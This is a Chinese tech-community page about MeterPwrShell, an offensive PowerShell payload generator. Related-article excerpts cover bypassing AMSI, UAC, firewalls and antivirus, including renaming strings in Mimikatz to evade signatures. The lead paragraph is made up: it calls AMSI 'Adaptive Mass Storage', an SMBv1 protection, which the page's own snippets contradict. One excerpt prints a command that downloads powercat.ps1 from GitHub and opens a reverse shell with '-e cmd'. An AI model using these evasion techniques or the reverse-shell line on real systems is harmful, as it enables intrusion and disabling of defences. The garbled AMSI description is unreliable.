首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

MeterPwrShell:绕过AMSI,绕过防火墙,绕过UAC和绕过任何AV

MeterPwrShell 是一种工具,可以帮助攻击者绕过AMSI、防火墙、UAC和其他安全措施。AMSI(Adaptive Mass Storage)是一种用于扫描和防止 SMBv1 的保护措施,而 MeterPwrShell 可以用于创建假冒的 SMBv2 服务器来进行攻击。

MeterPwrShell 可以帮助绕过防火墙和其他安全措施,因为它可以利用 SMBv2 协议实现绕过。此外,MeterPwrShell 还可以绕过 UAC 和其他安全措施,因为它可以将模拟的 SMBv2 服务器伪装成另一个可信任的程序。

MeterPwrShell 还可以利用 SMB v2 服务器来执行其他攻击,例如横向移动,攻击其他系统,窃取凭证等。因此,阻止 MeterPwrShell 的使用可以有助于防止攻击者绕过防火墙和其他安全措施,进而保护网络的安全。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

MeterPwrShell绕过AMSI绕过防火墙绕过UAC绕过任何AV

MeterPwrShell 生成Powershell Oneliner的自动化工具,该工具可以在Metasploit,Bypass AMSI,Bypass防火墙,Bypass UACByby...功能(v1.5.0) 绕过UAC 自动迁移(使用PrependMigrate) 内置GetSYSTEM(如果您使用Bypass UAC选项) 禁用所有防火墙配置文件(如果您使用...“绕过UAC”选项) 完全绕过Windows Defender实时保护(如果您选择缩短的有效负载或使用绕过UAC或同时使用两者) 禁用Windows Defender安全功能(如果您使用...“绕过UAC”选项) 完全无法杀死的有效载荷 成功绕过AMSI(如果您选择缩短的有效负载) 短单线(如果您选择缩短的有效载荷) 绕过防火墙(如果选择未分段的有效负载)...很棒的CLI 与Metasploit框架中的web_delivery模块相比,MeterPwrShell的优势 各种AMSI旁路技术代码 不需要为登台者设置服务器 支持内置的Ngrok

1.1K30

技术分享|amsi绕过总结

微软对他产生的目的做出来描述: Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。...AMSI 为您的最终用户及其数据、应用程序工作负载提供增强的恶意软件保护。AMSI 与反恶意软件供应商无关;它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描保护技术。...目前AMSI功能已集成到Windows 10的这些组件中 1.用户账户控制,也就是UAC(EXE、COM、MSI、ActiveX的安装) %windir%/System32/consent.exe 2...2.NULL字符绕过 这个方法已经失效了,但还是提一下,扩充下思路。...简单来说利用的是注册表优先级来绕过

1.6K21

绕过AMSI进行逃避审计

在之前的文章,hook rdp对外连接的账号密码 中有提到利用Detours进行hook得到rdp的账号密码,今天正好看到绕过AMSI的文章,那我们今天继续利用这个库来达到绕过AMSI的目的。...1、AMSI是什么 根据官方文档 介绍,其叫反恶意文件扫描接口。 然后AMSI的表现是什么呢,就是当你运行一个触发他的规则文件/命令时,就会出现如下的拦截信息: ?...因此我们的目的就是绕过AMSI,达到执行我们想要的文件/命令。 2、分析AMSI 通过分析AMSI,其检测机制大致为加载amsi.dll进行恶意文件扫描等操作: ?...根据网上的分析,我们只要能hook AMSI,让其检测到的值以为是安全的,那amsi.dll返回的值我们就是可控的,最后系统就会认为该文件是无害的。...在未注入前,恶意命令被AMSI拦截,注入后,成功hook绕过: ? ?

68310

利用Com组件绕过UAC

Com组件绕过UAC是一个很古老的话题了,这边以UACMe项目中索引为41的方法为例,看一下如何使用Com组件绕过UAC。...OleViewDotNetIDA来进行查看。...首先直接用OleViewDotNet搜索你想要搜索的com组件的名字 查看属性可以看到条件1皆为true,表示这个组件可以用来绕过UAC认证 当鼠标悬停到时可以看到其调用的dll。...但是在执行时还是触发了UAC。 这是因为:如果执行COM提升名称代码的程序身份是不可信的,还是会触发UAC弹窗;若是可信程序,则不会触发UAC弹窗。因此,必须使这段代码在WIndows可信程序中运行。...但本质还是校验的PEB,把CommandLineimagepath修改为指定进程的即可。 其代码中也有相关实现。

1.6K30

如何使用MeterPwrShell自动生成PowerShell Payload

MeterPwrShell基于Metasploit框架amsi.fail实现其功能,可以生成PowerShell One-Liner,并能够创建Meterpreter Shell,而且还可以绕过AMSI...、防火墙UAC任意反病毒产品。...功能介绍 使用PrependMigrate实现自动化免杀; 自动从普通用户提权为SYSTEM权限; 禁用所有的防火墙配置; 绕过Windows Defender实时保护功能; Payload免杀; 绕过...AMSI; 简单的代码,One-Liner; 绕过防火墙; 方便的命令行接口; …… 注意事项 切勿将此程序生成的Payload上传到任何在线扫描服务; 切勿将此程序用于恶意目的; 请不要尝试Fork这个代码库...; 可轻松绕过Windows Defender; 工具要求 Kali Linux、Ubuntu或Debian; Metasploit框架; 接入网络(目标主机攻击者主机都需要); 工具下载 广大研究人员可以使用下列命令将该项目源码克隆至本地

1.5K20

windows UAC 浅谈及绕过

更改系统保护或者高级系统设置 五、UAC触发流程 在触发 UAC 时,系统会创建一个consent.exe进程,该进程通过白名单程序用户选择来判断是否创建管理员权限进程。...这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法其进行通信交互。...列表如下: Akagi,包含所有的Methods,绕过UAC的主要方法的源码都在Method目录下 Akatsuki,WOW64 logger绕过UAC方法的dll源码 Fubuki,好几个绕过UAC利用的代理...DLL,使用了劫持Ole32.dll方法 Hibiki,AVRF方法绕过UAC的利用方法的dll源码 Ikazuchi,利用劫持 comctl32.dll 组件绕过UAC的利用方法的dll源码 Inazuma...,SHIM相关利用的绕过UAC的利用方法的EXE源码 Kamikaze,MMC劫持方法利用的MSC文件 Kongou,利用Hybrid方法绕过UAC的Dll Naka,压缩或编码的小工具源码 Yuubari

4.7K20

绕过基于签名的 AV

众所周知,许多 AV 供应商将有效负载标记为恶意软件,因为@harmj0y 出现在文件中的某个位置。...具体来说,如果省略文件扩展名,该函数会将.dll附加.exe到文件名中。最后,绕过这个特定签名所需要做的就是删除.dllfrom wdigest.dll!...经过一番搜索,我找到了一个讨论绕过这个特定检测的博客。首先,我需要创建一个.def文件,用于构建一个新的库模块,该模块将包含在 Mimikatz 构建过程中。该文件的内容如下所示。...屏幕截图中可以看到一些所需的修改,包括mimidogz, securelsa,loginpasswords. 其他AV呢? 同样的技术可以用于任何你想在运行 Defender 的系统上执行的负载。...事实上,您只需多做一点工作即可针对任何 AV 进行此操作。PowerSploit 的Find-AVSignature.ps1可以帮助自动化该过程,但基本方法是二叉树式搜索。

1.4K40

绕过WAF防火墙

总体来说,以上的防火墙威胁算法,还是基于“规则”描述检测HTTP协议数据,建立在数据样本上的数据建模。基于正则,正则要全,基于语义分析,原语要够,基于大数据建模、数据样本要全,算法要优。...但是这些方法,未覆盖所有威胁攻击用例,一旦遗漏,会出现误报、漏报,被绕过。...需要足够多的正常请求URI样本异常请求URI的样本数据。 算法样本的质量,影响威胁算法分析有效性。 WAF防火墙的威胁分析手段,无论是那种,越是大而全,就同比需要消耗更多机器性能开销。...随着新生Web漏洞出现,以上这些检测方法都需要适应新的漏洞的特征的变化,有时候甚至,WAF系统软件本身的软件漏洞,一样可用于绕过WAF。...所以,在《墨守之道-Web服务安全架构与实践》这本书中,我们向大家介绍了基于OpenResty的WAF,同时,也介绍了针对WAF防火墙绕过技术。 ?

61330

使用microsoft绕过360等AV

某小白竟然利用windows绕过了windows Defender、360等AV。 哈哈哈,今天给大家来一个比较好玩的操作,当然也是在国外看到的思路,就是利用微软自己的域名来绕过AV。...我们都知道微软在internet上有着成千上万的域名,我们便可以使用微软的域名来执行我们的payload,并且可以来绕过大多数AV。...System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(m.value));iex 记得在编码后的内容前面加上STARTEND...然后将STARTEND之间的内容替换成编码后的内容,本地监听4444端口再重新执行我们上面的命令 ? 就是powercat日常卡死,多试几次就好了。...raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat-c ip -p port -e cmd 执行的时候完美绕过

2.1K20

以最复杂的方式绕过 UAC

让我们从系统如何防止您绕过最无意义的安全功能开始。默认情况下,如果用户是本地管理员,LSASS 将过滤任何网络身份验证令牌以删除管理员权限。...这不是微不足道的 UAC 绕过吗?只需以域用户身份向本地服务进行身份验证,您就会获得绕过过滤的网络令牌? 不,Kerberos具有特定的附加功能来阻止这种攻击媒介。...好的,我们怎么能滥用它来绕过 UAC?假设你被认证为域用户,最有趣的滥用它的方法是让机器 ID 检查失败。我们将如何做到这一点?...访问 SCM 以绕过 UAC。 最终,这是一个合理数量的 UAC 绕过代码,至少与刚刚更改环境变量相比。...希望这能让您更深入地了解此功能的工作原理,并为您尝试以新的方式绕过 UAC 带来一些乐趣。

1.8K30

利用WPS-Office绕过UAC提权

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者本公众号无关。...0x01 前言 wpscloudsvr服务用于提供WPSOffice云服务,其中包括:云文档,文件安全性,VIP服务等,以实现完整安全的用户体验,及时更新和错误修复,停止此服务将禁用云服务及时错误修复等...Office\ WPS Office进程名:wps.exe、wpscloudsvr.exe等 WPS Office服务名:wpscloudsvr(WPS Office Cloud Service) 0x02 绕过原理分析...WPSOffice在安装时创建的wpscloudsvr服务默认是以SYSTEM权限运行的,而且允许在ApplicationPoolIdentity、NetworkService未过UAC的用户启动停止该服务...不是所有服务都可以用未过UAC的用户来启动停止的,如:KugouService、Everything等; 2. wpscloudsvr.exe Users权限问题,Win102016默认给的权限不一样

1.6K20

干货 | 绕过AMSI实现免杀的研究思路

微软对他产生的目的做出来描述: Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。...AMSI 为您的最终用户及其数据、应用程序工作负载提供增强的恶意软件保护。AMSI 与反恶意软件供应商无关;它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描保护技术。...它支持允许文件内存或流扫描、内容源 URL/IP 信誉检查其他技术的调用结构。AMSI 还支持会话的概念,以便反恶意软件供应商可以关联不同的扫描请求。...官方架构图: 目前AMSI功能已集成到Windows 10的这些组件中 •用户帐户控制或 UAC(EXE、COM、MSI 或 ActiveX 安装的提升)•PowerShell(脚本、交互使用动态代码评估...查看powershell模块会发现加载了amsi.dll 几种绕过的方式 dll劫持 再打开powershell进程时,会加载amsi进程,那么自然的就想到可以通过dll劫持,或者替换等方式来bypass

83630
领券